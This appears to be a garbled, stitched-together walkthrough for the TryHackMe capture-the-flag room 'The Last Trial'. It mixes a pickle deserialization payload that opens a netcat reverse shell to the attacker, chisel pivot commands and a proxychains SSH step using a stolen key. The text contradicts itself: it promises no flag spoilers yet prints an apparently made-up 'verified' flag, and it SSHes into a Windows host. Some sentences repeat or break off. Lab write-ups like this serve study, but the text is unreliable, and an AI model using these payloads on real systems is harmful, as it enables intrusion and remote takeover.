On Machine 2 as SYSTEM, the final flag is not in a text file. The verified flag is a hexadecimal string stored in the Windows Registry under:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LastTrial
Retrieve it with:
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\" -Name "LastTrial"
Value: THMverified_49d8f1a2b3c4e5f6a7b8c9d0e1f2a3b4
This is the proof: Submit this flag on the TryHackMe room’s "Answer" section. Once accepted, your completion will show as verified. the last trial tryhackme verified
Most people fail because they rush. The verified approach starts with patient, layered enumeration.
TryHackMe’s “The Last Trial” is a hands‑on Capture The Flag (CTF) style challenge that tests a range of real-world offensive security skills. This article explains what the room is, who it’s for, the key learning objectives, a high-level walkthrough (no spoilers of flags), and study tips to get the most from it.
If you meant something else — like "Is the room's solution verified by TryHackMe staff?" or "Does it show a verified badge?" — let me know and I can clarify. But based on standard terminology, yes, The Last Trial is a verified completion room. On Machine 2 as SYSTEM, the final flag is not in a text file
With root on Machine 1, you find a .ssh/id_rsa key belonging to john. Machine 2 (IP 172.17.0.2) is internal. Use chisel to pivot:
On attacker:
./chisel server -p 8000 --reverse
On Machine 1 (root):
./chisel client YOUR_IP:8000 R:socks
Use proxychains to SSH into Machine 2:
proxychains ssh -i john_key john@172.17.0.2
Machine 2 is Windows Server 2019. This is where The Last Trial becomes a Windows privilege escalation nightmare.
Python pickle deserialization leads to RCE. Verified solution: pty.spawn("/bin/bash")' for stability.
import pickle
import os
class RCE:
def __reduce__(self):
return (os.system, ('nc -e /bin/bash YOUR_IP 4444',))
pickled = pickle.dumps(RCE())
with open('config.pkl', 'wb') as f:
f.write(pickled)
Upload as config.pkl. Your netcat listener catches a shell as www-data.
Verification note: Many guides suggest a reverse shell via bash -i, but the verified method uses python3 -c 'import pty; pty.spawn("/bin/bash")' for stability.